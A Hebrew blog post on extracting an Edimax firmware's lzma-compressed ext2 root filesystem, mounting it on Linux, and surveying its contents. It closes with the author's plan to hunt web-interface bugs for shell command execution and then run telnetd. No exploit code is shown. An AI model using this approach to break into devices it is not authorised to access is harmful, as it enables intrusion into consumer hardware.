הוא מייצר את המערכת קבצים בתור קובץ Image שמכיל מערכת קבצים ext2, אחרכך מכווץ אותו עם lzma ופשוט מחבר אותו לסוף הFirmware.
אז בואו נוציא את המערכת קבצים מהבינארי של Edimax.
הולכים למקום אחרי הKernel ומתחילים להעתיק משם עד סוף הקובץ החוצה עם עורך Hex, ושומרים את זה כקובץ נפרד.
מעבירים אותו ללינוקס, פותחים את הכיווץ בעזרת אותו lzma (פרמטר d) ומקבלים קובץ בגודל 11 מגה בערך.
משמעותית יותר גדול ממה שהיה לנו (8 פתוח, 1.5 מכווץ)
עכשיו אפשר למפות את הקובץ בתור כונן בלינוקס וסופסוף לראות מה יש שם.
mkdir /mnt/rootfs mount -o loop extracted_rootfs.img /mnt/rootfs
בואו נכנס ונראה מה יש שם.
כמה דברים שקופצים ישר לעין:
- יש תקייה ב/ שקוראים להweb שמכילה את כל המקור של האתר! 🙂
- תיקייה /bin מלאה בסקריפטים לשימוש בחומרה והחלת הגדרות וכו'
- תיקייה /etc גם מכילה דברים מעניינים יותר ממה שהיה לנו.
האפשרויות שעומדות בפני
- יש לי את המקור ASP של האתר! אני יכול לחפש באגים בסקריפטים ולנסות להריץ Shell Commands.
- יש לי את המערכת קבצים העדכנית, וקומפילר שמסוגל לקמפל למעבד שיש שם (RDC 3210), להוסיף תוכנות לא אמורה להיות בעיה גדולה מדי.
- אולי אני אתקין עליו Python? 🙂
- ראיתי שיש שם כבר Busybox עם telnetd שאפשר להריץ ברגע שיהיה לי Shell Command Execution.
- עדיף לי בינתיים למצוא איך לשבור אותו בלי להתקין Firmware חדש כדי לא להסתכן בBricking של המכשיר, אז פוסט הבא יהיה כנראה על באגים בממשק Web של Edimax…
שאלות? תגובות?